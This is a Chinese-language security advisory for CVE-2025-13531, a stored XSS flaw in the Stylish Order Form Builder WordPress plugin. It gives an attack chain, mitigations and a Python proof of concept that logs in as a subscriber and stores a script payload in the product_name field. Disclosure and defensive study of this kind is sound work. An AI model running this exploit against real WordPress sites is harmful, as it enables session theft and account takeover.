IPBUF安全漏洞报告
English
CVE-2025-13531 CVSS 6.4 中危

CVE-2025-13531 WordPress Stylish Order Form Builder存储型XSS漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-13531
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Stylish Order Form Builder WordPress插件

相关标签

存储型XSSWordPress插件漏洞CVE-2025-13531Stylish Order Form Builder跨站脚本攻击身份验证绕过CVSS 6.4中危漏洞

漏洞概述

CVE-2025-13531是WordPress Stylish Order Form Builder插件中的一个存储型跨站脚本(XSS)漏洞。该插件在1.0及以下所有版本中,由于对product_name参数缺乏足够的输入清理和输出转义,导致恶意JavaScript代码可以被存储在数据库中。攻击者只需拥有Subscriber级别(订阅者)的账户权限即可利用此漏洞。当其他用户访问包含恶意脚本的页面时,攻击者的JavaScript代码将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取或管理员账户被接管等严重后果。此漏洞的CVSS评分为6.4,属于中等严重程度,攻击向量为网络,复杂度低,无需特殊用户交互。

技术细节

该漏洞存在于Stylish Order Form Builder插件的product_name参数处理流程中。具体问题在于:1) 后端在接收product_name输入时未进行充分的输入验证和清理;2) 在将数据存储到数据库前缺少适当的消毒处理;3) 在前端输出product_name时未进行输出转义,导致恶意脚本可以直接注入到HTML页面中。攻击者通过WordPress的订阅者账户登录后,可在创建或编辑表单产品时,在product_name字段中插入恶意JavaScript代码,如<script>alert(document.cookie)</script>。由于数据被存储在数据库中,每次有用户访问包含该产品信息的页面时,恶意脚本都会自动执行。漏洞文件主要位于all-products.php(第9行)和functions-admin.php(第74行),这些位置直接处理和输出用户可控的product_name参数。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress订阅者(Subscriber)级别账户权限
STEP 2
步骤2
攻击者访问Stylish Order Form Builder插件的产品管理页面
STEP 3
步骤3
在product_name参数中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 4
步骤4
由于缺乏输入清理和输出转义,恶意脚本被存储到数据库中
STEP 5
步骤5
当其他用户访问包含该产品信息的页面时,恶意脚本在其浏览器中自动执行
STEP 6
步骤6
攻击者通过XSS成功窃取用户会话Cookie、劫持账户或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13531 PoC - Stored XSS in Stylish Order Form Builder # Target: WordPress site with Stylish Order Form Builder plugin < 1.0.1 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" username = "subscriber_user" password = "subscriber_password" session = requests.Session() # Step 1: Login as subscriber login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } resp = session.post(login_url, data=login_data) # Step 2: Add product with XSS payload in product_name admin_url = f"{target_url}/wp-admin/admin.php?page=stylish-order-form" product_data = { "product_name": "<script>alert(document.cookie)</script>", "product_price": "100", "action": "save_product" } resp = session.post(admin_url, data=product_data) # Step 3: Verify XSS is stored and executed # Visit the page containing the malicious product page_url = f"{target_url}/?page_id=<affected_page_id>" resp = session.get(page_url) if "<script>alert(document.cookie)</script>" in resp.text: print("[+] XSS payload successfully stored!") else: print("[-] XSS payload not found or filtered")

影响范围

Stylish Order Form Builder插件 <= 1.0 所有版本

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制或禁用订阅者级别用户的产品创建/编辑功能;2) 使用Web应用防火墙(WAF)对product_name等参数进行过滤和监控;3) 实施严格的Content Security Policy (CSP)头部配置;4) 考虑暂时禁用或替换Stylish Order Form Builder插件,使用安全性更好的替代方案;5) 加强WordPress用户权限管理,确保非管理员用户无法访问敏感插件功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表